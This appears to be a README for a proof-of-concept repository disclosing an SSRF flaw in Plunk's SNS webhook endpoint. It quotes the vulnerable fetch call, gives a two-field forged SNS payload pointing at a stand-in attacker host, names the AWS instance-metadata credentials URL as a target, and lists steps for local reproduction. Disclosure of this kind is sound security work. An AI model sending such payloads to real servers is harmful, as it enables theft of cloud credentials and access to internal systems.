
Proof-of-concept exploit for an SSRF vulnerability in Plunk's SNS webhook, demonstrating unauthenticated server-side request forgery via unvalidated SubscribeURL.
SSRF via unvalidated AWS SNS SubscriptionConfirmation in useplunk/plunk
The Plunk API endpoint POST /webhooks/sns fetches an attacker-supplied SubscribeURL without verifying the AWS SNS cryptographic signature. An unauthenticated attacker can force the server to make arbitrary outbound HTTP requests (SSRF).
| Severity | Critical — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N) |
| CWE | CWE-918: Server-Side Request Forgery |
| Affected file | apps/api/src/controllers/Webhooks.ts |
| Auth required | None |
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — no signature validation
if (confirmResponse.ok) {
return res.status(200).json({ success: true, message: 'Subscription confirmed' });
}
}
The minimum payload is just two fields:
{
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://attacker.example.com/callback"
}
http://169.254.169.254/latest/meta-data/iam/security-credentials/Start the Plunk test environment:
docker compose up -d
Start the SSRF callback listener:
python3 listener.py
Run the exploit:
chmod +x exploit.sh
./exploit.sh
Observe the callback hit in listener.py output, confirming the server fetched the attacker-controlled URL.
| File | Description |
|---|---|
exploit.sh | End-to-end exploit script — sends forged SNS payload to the vulnerable endpoint |
listener.py | SSRF callback listener — captures and logs incoming requests from the Plunk server |
docker-compose.yml | Minimal Docker Compose environment (Postgres, Redis, Plunk) for local reproduction |